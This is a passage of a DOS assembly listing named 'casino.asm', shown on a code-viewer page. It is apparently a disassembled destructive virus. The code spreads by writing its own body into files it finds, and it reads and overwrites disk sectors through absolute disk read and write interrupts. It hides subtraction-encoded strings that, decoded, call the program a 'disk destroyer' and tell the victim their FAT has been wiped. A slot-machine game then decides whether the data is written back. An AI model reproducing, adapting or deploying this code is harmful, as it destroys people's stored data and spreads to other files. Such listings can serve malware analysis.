📄 casino.asm
字号:
cmp dh,8
je loc_24 ; Jump if equal
jmp loc_36 ; (0A33)
loc_24:
call sub_8 ; (09EB)
push ds
pop es
mov si,613h
mov di,613h
mov cx,305h
cld ; Clear direction
locloop_25:
lodsb ; String [si] to al
sub al,64h ; 'd'
stosb ; Store al to es:[di]
loop locloop_25 ; Loop if cx > 0
mov dx,613h
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_26:
mov ah,7
int 21h ; DOS Services ah=function 07h
; get keybd char al, no echo
mov byte ptr ds:data_2e,64h ; (0000:060D=0) 'd'
nop
mov byte ptr ds:data_3e,78h ; (0000:060E=0) 'x'
nop
mov byte ptr ds:data_4e,0B4h ; (0000:060F=0)
nop
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
mov bl,dh
mov bh,0
mov ch,0
mov dh,0
add cl,dl
mov ax,cx
mov cl,3
div cl ; al, ah rem = ax/reg
mov ds:data_5e,ah ; (0000:0610=0)
mov ax,dx
mov dl,3
div dl ; al, ah rem = ax/reg
mov ds:data_6e,ah ; (0000:0611=0)
mov ax,bx
div dl ; al, ah rem = ax/reg
mov ds:data_7e,ah ; (0000:0612=0)
dec byte ptr ds:data_1e ; (0000:060C=0)
mov al,ds:data_1e ; (0000:060C=0)
add al,30h ; '0'
mov dh,0Dh
mov dl,26h ; '&'
mov bx,0
mov ah,2
int 10h ; Video display ah=functn 02h
; set cursor location in dx
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
loc_27:
mov dx,1FFFh
loc_28:
nop
nop
nop
dec dx
jnz loc_28 ; Jump if not zero
mov al,ds:data_2e ; (0000:060D=0)
cmp al,ds:data_5e ; (0000:0610=0)
je loc_29 ; Jump if equal
mov dl,19h
mov al,ds:data_2e ; (0000:060D=0)
call sub_7 ; (09C9)
mov al,ds:data_2e ; (0000:060D=0)
dec al
mov ds:data_2e,al ; (0000:060D=0)
loc_29:
mov al,ds:data_3e ; (0000:060E=0)
cmp al,ds:data_6e ; (0000:0611=0)
je loc_30 ; Jump if equal
mov dl,21h ; '!'
mov al,ds:data_3e ; (0000:060E=0)
call sub_7 ; (09C9)
dec byte ptr ds:data_3e ; (0000:060E=0)
loc_30:
mov al,ds:data_4e ; (0000:060F=0)
cmp al,ds:data_7e ; (0000:0612=0)
je loc_31 ; Jump if equal
mov dl,29h ; ')'
mov al,ds:data_4e ; (0000:060F=0)
call sub_7 ; (09C9)
dec byte ptr ds:data_4e ; (0000:060F=0)
loc_31:
mov al,ds:data_4e ; (0000:060F=0)
cmp al,ds:data_7e ; (0000:0612=0)
jne loc_27 ; Jump if not equal
mov ah,ds:data_3e ; (0000:060E=0)
cmp ah,ds:data_6e ; (0000:0611=0)
jne loc_27 ; Jump if not equal
mov bl,ds:data_2e ; (0000:060D=0)
cmp bl,ds:data_5e ; (0000:0610=0)
jne loc_27 ; Jump if not equal
cmp al,0
jne loc_32 ; Jump if not equal
cmp ah,0
jne loc_32 ; Jump if not equal
cmp bl,0
jne loc_32 ; Jump if not equal
mov dx,80Ah
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
call sub_9 ; (0A18)
jmp short loc_35 ; (09C7)
db 90h
loc_32:
cmp al,1
jne loc_33 ; Jump if not equal
cmp ah,1
jne loc_33 ; Jump if not equal
cmp bl,1
jne loc_33 ; Jump if not equal
mov dx,88Dh
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp short loc_34 ; (09BD)
db 90h
loc_33:
mov al,ds:data_1e ; (0000:060C=0)
cmp al,0
je loc_34 ; Jump if equal
jmp loc_26 ; (08BF)
loc_34:
mov dx,8D6h
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
jmp short loc_35 ; (09C7)
nop
loc_35:
jmp short loc_35 ; (09C7)
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_7 proc near
mov ah,0
push ax
mov dh,0Bh
mov ah,2
mov bh,0
int 10h ; Video display ah=functn 02h
; set cursor location in dx
pop ax
mov bl,3
div bl ; al, ah rem = ax/reg
mov bl,ah
mov bh,0
add bx,609h
mov al,[bx]
mov ah,0Eh
mov bx,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
retn
sub_7 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_8 proc near
push ds
mov bx,ds
add bx,1000h
mov ds,bx
mov bx,0
mov ah,19h
int 21h ; DOS Services ah=function 19h
; get default drive al (0=a:)
mov cx,50h
mov dx,0
int 25h ; Absolute disk read, drive al
popf ; Pop flags
mov bx,0
mov ds,bx
mov ah,19h
int 21h ; DOS Services ah=function 19h
; get default drive al (0=a:)
mov cx,50h
mov dx,0
int 26h ; Absolute disk write, drive al
popf ; Pop flags
pop ds
retn
sub_8 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_9 proc near
push ds
mov bx,ds
add bx,1000h
mov ds,bx
mov bx,0
mov ah,19h
int 21h ; DOS Services ah=function 19h
; get default drive al (0=a:)
mov cx,50h
mov dx,0
int 26h ; Absolute disk write, drive al
popf ; Pop flags
pop ds
retn
sub_9 endp
loc_36:
mov bx,0
mov ax,4B59h
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
cmp ax,666h
jne loc_37 ; Jump if not equal
jmp loc_41 ; (0AF0)
loc_37:
push ds
pop es
push ds
push cs
pop ds
mov si,0
mov di,917h
mov cx,100h
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop ds
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
mov ds:data_14e,bx ; (6AE6:0041=0)
mov ds:data_15e,es ; (6AE6:0043=6AE6h)
mov dx,4Eh
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11h
mov cx,3Fh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_38 ; Jump if carry Set
mov dx,11h
call sub_1 ; (06EE)
cmp dl,1
jne loc_38 ; Jump if not equal
call sub_2 ; (073C)
loc_38:
call sub_5 ; (07FD)
mov dx,20h
mov cx,2
mov ah,3Ch ; '<'
int 21h ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
jc loc_40 ; Jump if carry Set
mov bx,ax
mov dx,0
mov cx,91Ah
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
push ax
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
pop ax
cmp ax,cx
je loc_39 ; Jump if equal
mov dx,20h
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
jmp short loc_40 ; (0AD1)
db 90h
loc_39:
push cs
pop es
mov bx,cs:data_8e ; (6AE6:0002=0)
sub bx,92Ch
mov cx,cs
sub bx,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov dx,20h
push ds
pop es
mov bx,2Dh
mov ax,4B00h
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
loc_40:
call sub_6 ; (0813)
push cs
pop es
mov di,0
mov si,917h
mov cx,0FFh
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,ds:data_14e ; (6AE6:0041=0)
mov bx,ds:data_15e ; (6AE6:0043=6AE6h)
mov ds,bx
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
loc_41:
push cs
pop ds
jmp $-0F32h
jmp $+3DFh
db 48h, 9Bh, 9Ch, 3Fh, 5, 0Ah
db 5, 3, 1, 3, 0, 6Eh
db 71h, 6Dh, 6Dh, 84h, 84h, 84h
db 0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h
db 0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh
db 0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h
db 84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h
db 0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh
db 84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h
db 6Eh, 71h, 6Eh, 71h, 6Dh, 6Dh
db 0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h
db 84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h
db 0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h
db 0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh
db 0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h
db 0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h
db 0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh
db 84h, 85h, 85h, 6Eh, 71h, 84h
db 84h, 84h, 84h, 84h, 84h, 0ACh
db 0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h
db 90h, 84h, 0ADh, 84h, 0CCh, 0C5h
db 0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h
db 0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h
db 84h, 0B6h, 0A5h, 0B1h, 90h, 84h
db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
db 0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh
db 0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h
db 84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h
db 0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h
db 0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh
db 6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h
db 0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h
db 0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h
db 0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h
db 0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h
db 92h, 6Eh, 71h, 84h, 84h, 84h
db 84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h
db 0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh
db 0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h
db 0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h
db 0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h
db 0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h
db 0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h
db 84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h
db 0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h
db 0B8h, 84h, 91h, 84h, 0AAh, 0B3h
db 0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h
db 85h, 85h, 6Eh, 71h, 6Dh, 6Dh
db 84h, 84h, 84h, 0BDh, 0D3h, 0D9h
db 0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h
db 84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h
db 0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h
db 0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h
db 84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h
db 0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h
db 6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h
db 84h, 84h, 84h, 84h, 84h, 0A7h
db 0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h
db 0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h
db 0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h
db 0AFh, 0B4h, 0B3h, 0B8h
db 'nqnqmmm-1'
db 1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh
db 2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh
db 6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh
db 3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh
db ';nqmmm,1 m,1 m,1 nqmmm'
db 84h, 84h, 84h, 84h, 0A7h, 0B6h
db 0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h
db 9Eh, 84h, 99h
db 'nqqnqnmmm'
db 0, 0, 0, 84h, 0A1h, 84h
db 0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h
db 0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh
db 6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h
db 0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h
db 0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h
db 0D3h, 92h, 6Eh, 71h, 6Eh, 71h
db 6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh
db 84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h
db 0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh
db 'qnqnqnqnqn'
db 88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h
db 0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h
db 84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h
db 0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh
db 0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h
db 84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h
db 91h, 84h, 0C6h, 0D9h, 0D8h, 84h
db 0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h
db 0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h
db 84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h
db 84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h
db 0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh
db 84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh
db 0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h
db 0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h
db 84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h
db 0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h
db 0B9h, 0B6h
loc_42:
mov dl,84h
lodsw ; String [si] to ax
mov ax,0B384h
mov dl,84h
mov ax,0B0ADh
mov al,84h
mov ax,0B1B3h
mov bl,0B6h
mov dh,0B3h
mov bx,8584h
test ax,ds:data_33e[di] ; (6AE6:716E=0)
mov [bp+71h],ch
mov dl,0D3h
test ch,[bp+si-3827h]
iret ; Interrupt return
db 0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh
db 0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h
db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
db 0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh
db 0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h
db 0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h
db 0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh
db 0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h
db 0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h
db 0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh
db 0D2h, 84h, 85h, 88h, 6Eh, 71h
db 0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h
db 85h, 85h, 84h, 0BDh, 0D3h, 0D9h
db 84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h
db 0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h
db 0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h
db 0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h
db 0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h
db 84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h
db 0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h
db 0D0h, 0D7h, 84h, 92h, 92h, 92h
db 6Eh, 71h, 88h, 0CDh, 20h, 0
seg_a ends
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -